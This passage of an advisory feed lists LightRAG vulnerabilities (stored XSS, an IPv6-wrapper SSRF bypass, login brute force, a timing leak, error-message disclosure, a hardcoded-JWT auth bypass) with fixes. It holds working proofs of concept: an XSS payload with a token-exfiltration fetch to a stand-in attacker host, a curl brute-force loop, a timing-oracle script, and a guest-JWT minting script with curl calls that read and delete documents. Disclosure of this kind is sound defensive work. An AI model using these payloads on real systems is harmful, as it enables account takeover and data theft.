  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


